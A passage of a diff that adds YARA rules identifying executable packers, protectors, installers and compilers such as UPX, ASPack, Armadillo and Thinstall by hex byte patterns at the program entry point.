+		$0 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V37__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.7 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptCom_v11_
+{
+	meta:
+		description = "CryptCom v1.1"
+	strings:
+		$0 = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_50p_MFC__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] -> Anorganix"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 -> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v11__Vaska_
+{
+	meta:
+		description = "RCryptor v1.1 --> Vaska"
+	strings:
+		$0 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0}
+		$1 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 or $1
+}
+rule _UPX_v070_
+{
+	meta:
+		description = "UPX v0.70"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB}
+		$2 = {8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Can2Exe_v001_
+{
+	meta:
+		description = "Can2Exe v0.01"
+	strings:
+		$0 = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_6x_
+{
+	meta:
+		description = "WinZip (32-bit) 6.x"
+	strings:
+		$0 = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+	condition:
+		$0 at entrypoint
+}
+rule _ActiveMARKTM_
+{
+	meta:
+		description = "ActiveMARK[TM"
+	strings:
+		$0 = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+	condition:
+		$0 at entrypoint
+}
+rule _vfpexeNc_V500__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc V5.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_LZMA_430__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 (LZMA 4.30) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_V02X__Ryd__Sign_by_fly_
+{
+	meta:
+		description = "kkrunchy V0.2X -> Ryd ! Sign by fly"
+	strings:
+		$0 = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+	condition:
+		$0 at entrypoint
+}
+rule _USSR_031__by_Spirit_
+{
+	meta:
+		description = "USSR 0.31 - by Spirit"
+	strings:
+		$0 = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b7_
+{
+	meta:
+		description = "PECompact v1.10b7"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeTools_COM2EXE_
+{
+	meta:
+		description = "ExeTools COM2EXE"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Protect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Protect 0.9] -> Anorganix"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v198_
+{
+	meta:
+		description = "Nullsoft Install System v1.98"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_10__30__Amok_
+{
+	meta:
+		description = "Spalsher 1.0 - 3.0 -> Amok"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v12_
+{
+	meta:
+		description = "PEtite v1.2"
+	strings:
+		$0 = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)"
+	strings:
+		$0 = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_10X__vcasm_
+{
+	meta:
+		description = "VProtector 1.0X -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v__If_you_know_this_version_post_on_PEiD_board_h2_
+{
+	meta:
+		description = "ASProtect v?.? -> If you know this version, post on PEiD board (h2)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _DzA_Patcher_13_Loader_
+{
+	meta:
+		description = "DzA Patcher 1.3 Loader"
+	strings:
+		$0 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+	condition:
+		$0
+}
+rule _Setup_Factory_6x_Custom_
+{
+	meta:
+		description = "Setup Factory 6.x Custom"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? 61 40 00 68 ?? 43 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? 61 40 00 33 D2 8A D4 89 15 A0 A9 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190_
+{
+	meta:
+		description = "Armadillo v1.90"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v105_
+{
+	meta:
+		description = "Xtreme-Protector v1.05"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Exe_Protector_1x__setisoft_
+{
+	meta:
+		description = "Private Exe Protector 1.x -> setisoft"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PEBundle_02__3x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEBundle 0.2 - 3.x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02}
+	condition:
+		$0
+}
+rule _Upack_038_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.38 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _ASPack_v101b_
+{
+	meta:
+		description = "ASPack v1.01b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2117__StrongbitSoftComplete_Development_h_
+{
+	meta:
+		description = "EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF 7F 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+	condition:
+		$0
+}
+rule _VProtector_V10B__vcasm_
+{
+	meta:
+		description = "VProtector V1.0B -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_3035__Jtit_
+{
+	meta:
+		description = "Thinstall 3.035 -> Jtit"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint
+}
+rule __v10__LiJianjun_
+{
+	meta:
+		description = "Éþ v1.0 -> Li-Jianjun"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44}
+	condition:
+		$0 at entrypoint
+}
+rule _GHF_Protector_pack__GPcH_
+{
+	meta:
+		description = "GHF Protector (pack) / GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _MaskPE_16__yzkzero_
+{
+	meta:
+		description = "MaskPE 1.6 -> yzkzero"
+	strings:
+		$0 = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+	condition:
+		$0
+}
+rule _Armadillo_440__Silicon_Realms_Toolworks_h_
+{
+	meta:
+		description = "Armadillo 4.40 -> Silicon Realms Toolworks (h)"
+	strings:
+		$0 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00}
+	condition:
+		$0
+}
+rule _XHider_10__GlobaL_
+{
+	meta:
+		description = "X-Hider 1.0 -> GlobaL"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00}
+		$1 = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ORiEN_V212__Fisun_AV_
+{
+	meta:
+		description = "ORiEN V2.12 -> Fisun A.V."
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CD 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _CI_Crypt_V01__FearlesS_
+{
+	meta:
+		description = "C.I Crypt V0.1 -> FearlesS"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+	condition:
+		$0 at entrypoint
+}
+rule _beria_v007_public_WIP__symbiont_
+{
+	meta:
+		description = "beria v0.07 public WIP -> symbiont"
+	strings:
+		$0 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v104b_
+{
+	meta:
+		description = "ASPack v1.04b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta_Patch__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.32 Beta (Patch) -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+	condition:
+		$0
+}
+rule _FreePascal_104_Win32_DLL__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+	condition:
+		$0
+}
+rule _Turbo_Pascal_Desktop_File_
+{
+	meta:
+		description = "Turbo Pascal Desktop File"
+	strings:
+		$0 = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 44 65 73 6B 74 6F 70}
+	condition:
+		$0
+}
+rule _tElock_v100_
+{
+	meta:
+		description = "tElock v1.00"
+	strings:
+		$0 = {E9 E5 E2 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__bubba_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> bubba"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PAVCryptor_Pawning_AntiVirus_Cryptor__masha_dev_
+{
+	meta:
+		description = "PAV.Cryptor (Pawning AntiVirus Cryptor) -> masha_dev"
+	strings:
+		$0 = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3}
+	condition:
+		$0
+}
+rule _RCryptor_v20__Vaska_
+{
+	meta:
+		description = "RCryptor v2.0 --> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyMinder__MicrocosmLtd__Sign_by_fly_
+{
+	meta:
+		description = "CopyMinder -> Microcosm.Ltd ! Sign by fly"
+	strings:
+		$0 = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+	condition:
+		$0 at entrypoint
+}
+rule _Winkript_v10_
+{
+	meta:
+		description = "Winkript v1.0"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+	condition:
+		$0 at entrypoint
+}
+rule _VOB_ProtectCD_5_
+{
+	meta:
+		description = "VOB ProtectCD 5"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Encrypted_by_RSCC286_v102_
+{
+	meta:
